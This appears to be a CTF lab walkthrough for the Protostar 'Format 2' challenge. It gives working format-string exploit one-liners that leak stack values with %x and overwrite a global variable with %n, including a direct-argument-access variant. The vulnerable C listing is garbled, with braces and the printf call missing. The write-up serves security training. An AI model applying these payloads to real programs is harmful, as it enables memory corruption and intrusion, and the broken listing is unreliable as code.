Continuing from where we left off, we arrive at Format 2. It presents us with the following code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln()
 char buffer[512];

 fgets(buffer, sizeof(buffer), stdin);

 if(target == 64) {
  printf("you have modified the target :)\n");
 } else {
  printf("target is %d :(\n", target);

int main(int argc, char **argv)

This challenge seems very similar to Format 1, in all but 2 ways:

  1. The input is done via a fgets() instead of from the program arguments.
  2. Instead of allowing just any change, it specifically requires “target” to be equal to “64”.

We’ll start pretty much the same way as last time, spamming “%x”:

user@protostar:/opt/protostar/bin$ echo `perl -e 'print "AAAAAAAA" . "%x."x150'` | ./format2
target is 0 :(

This time, however, it seemed MUCH quicker to get the “41414141”, only 4 words. Let’s verify:

user@protostar:/opt/protostar/bin$ ./format2
target is 0 :(

So we’re getting to a pretty good point, let’s go ahead and find the memory address for “target”:

user@protostar:/opt/protostar/bin$ objdump -t format2 | grep target
080496e4 g     O .bss   00000004              target

Next, let’s put that address in, replacing the “AAAA”:

user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xe4\x96\x04\x08%x%x%x%x"'` | ./format2
target is 0 :(

The address seems to be the last word, without any problems. So if we convert the last “%x” to “%n”, it should overwrite that address in memory with the count of characters printed:

user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xe4\x96\x04\x08%x%x%x%n"'` | ./format2
target is 23 :(

Unfortunately, only 23 characters were written. We can increase that number artificially by just changing the format string from “%x” to “%44x”. This pads the string to be 44 characters long:

user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xe4\x96\x04\x08%44x%x%x%n"'` | ./format2
you have modified the target :)

That’s pretty much how it’s done.

And again, as bonus, if you want to use Direct Argument Access, you can simply do:

user@protostar:/opt/protostar/bin$ echo `perl -e 'print "\xe4\x96\x04\x08%7\\\$60x%4\\\$n"'` | ./format2
you have modified the target :)